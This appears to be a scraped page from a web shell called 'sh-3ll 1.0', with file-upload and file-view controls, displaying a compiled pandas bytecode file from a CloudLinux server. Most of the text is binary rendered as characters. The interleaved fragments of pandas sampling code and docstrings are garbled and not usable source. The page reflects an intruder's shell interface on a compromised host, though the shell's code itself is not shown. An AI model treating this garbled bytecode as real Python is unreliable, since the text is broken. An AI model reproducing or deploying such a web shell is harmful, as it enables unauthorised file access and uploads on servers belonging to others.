HOME


sh-3ll 1.0
DIR:/opt/cloudlinux/venv/lib64/python3.11/site-packages/pandas/core/__pycache__/
Upload File :
Current File : //opt/cloudlinux/venv/lib64/python3.11/site-packages/pandas/core/__pycache__/sample.cpython-311.pyc
�

���h��z�dZddlmZddlmZddlZddlmZddl	m
Z
mZerddlm
Z
ddlmZdd�Zd d�Zd!d�ZdS)"zH
Module containing utilities for NDFrame.sample() and .GroupBy.sample()
�)�annotations)�
TYPE_CHECKINGN)�lib)�ABCDataFrame�	ABCSeries)�AxisInt)�NDFrame�objr	�axisr�return�
np.ndarrayc�@�t|t��r |�|j|��}t|t��ret|t
��rA|dkr,	||}n@#t$r}t
d��|�d}~wwxYwtd���td���t|t��r|j}n|j	}||d���j
}t|��|j|krtd���tj|��rtd	���|dk���rtd
���t!j|��}|���r|���}d||<|S)z�
    Process and validate the `weights` argument to `NDFrame.sample` and
    `.GroupBy.sample`.

    Returns `weights` as an ndarray[np.float64], validated except for normalizing
    weights (because that must be done groupwise in groupby sampling).
    rz+String passed to weights not a valid columnNzLStrings can only be passed to weights when sampling from rows on a DataFramez@Strings cannot be passed as weights when sampling from a Series.�float64)�dtypez5Weights and axis to be sampled must be of same lengthz*weight vector may not include `inf` valuesz.weight vector many not include negative values)�
isinstancer�reindex�axes�strr�KeyError�
ValueError�_constructor�_constructor_sliced�_values�len�shaper�has_infs�any�np�isnan�copy)r
�weightsr�err�func�missings      �I/opt/cloudlinux/venv/lib64/python3.11/site-packages/pandas/core/sample.py�preprocess_weightsr&s����'�9�%�%�2��/�/�#�(�4�.�1�1���'�3�����c�<�(�(�	��q�y�y��!�'�l�G�G������"�E�������������
!�"�����R���
��#�y�!�!�'������&���d�7�)�,�,�,�4�G�
�7�|�|�s�y���&�&��P�Q�Q�Q�
�|�G���G��E�F�F�F��!������K��I�J�J�J��h�w���G��{�{�}�}���,�,�.�.�������Ns�'A0�0
B�:B
�
B�n�
int | None�frac�float | None�replace�boolc��|�|�d}ns|�|�td���|�.|dkrtd���|dzdkrtd���n0|�J�|dkr|std���|dkrtd���|S)	z�
    Process and validate the `n` and `frac` arguments to `NDFrame.sample` and
    `.GroupBy.sample`.

    Returns None if `frac` should be used (variable sampling sizes), otherwise returns
    the constant sampling size.
    N�z0Please enter a value for `frac` OR `n`, not bothrz=A negative number of rows requested. Please provide `n` >= 0.z$Only integers accepted as `n` valueszJReplace has to be set to `True` when upsampling the population `frac` > 1.z@A negative number of rows requested. Please provide `frac` >= 0.)r)r'r)r+s   r%�process_sampling_sizer/Ps���	�y�T�\�
���	
��4�+��K�L�L�L�	
���q�5�5��O���
�
�q�5�A�:�:��C�D�D�D�������!�8�8�G�8��8���
��!�8�8��R���
�
�H��obj_len�int�sizer!�np.ndarray | None�random_state�+np.random.RandomState | np.random.Generatorc���|�/|���}|dkr||z}ntd���|�||||����tjd���S)ac
    Randomly sample `size` indices in `np.arange(obj_len)`

    Parameters
    ----------
    obj_len : int
        The length of the indices being considered
    size : int
        The number of values to choose
    replace : bool
        Allow or disallow sampling of the same row more than once.
    weights : np.ndarray[np.float64] or None
        If None, equal probability weighting, otherwise weights according
        to the vector normalized
    random_state: np.random.RandomState or np.random.Generator
        State used for the random sampling

    Returns
    -------
    np.ndarray[np.intp]
    Nrz$Invalid weights: weights sum to zero)r3r+�pF)r )�sumr�choice�astyper�intp)r1r3r+r!r5�
weight_sums      r%�sampler>usw��8���[�[�]�]�
���?�?��
�*�G�G��C�D�D�D����w�T�7�g��N�N�U�U�
��e�V���r0)r
r	rrrr
)r'r(r)r*r+r,rr()r1r2r3r2r+r,r!r4r5r6rr
)�__doc__�
__future__r�typingr�numpyr�pandas._libsr�pandas.core.dtypes.genericrr�pandas._typingr�pandas.core.genericr	r&r/r>�r0r%�<module>rHs�����#�"�"�"�"�"� � � � � � �������������������
�,�&�&�&�&�&�&�+�+�+�+�+�+�6�6�6�6�r"
�"
�"
�"
�J%�%�%�%�%�%r0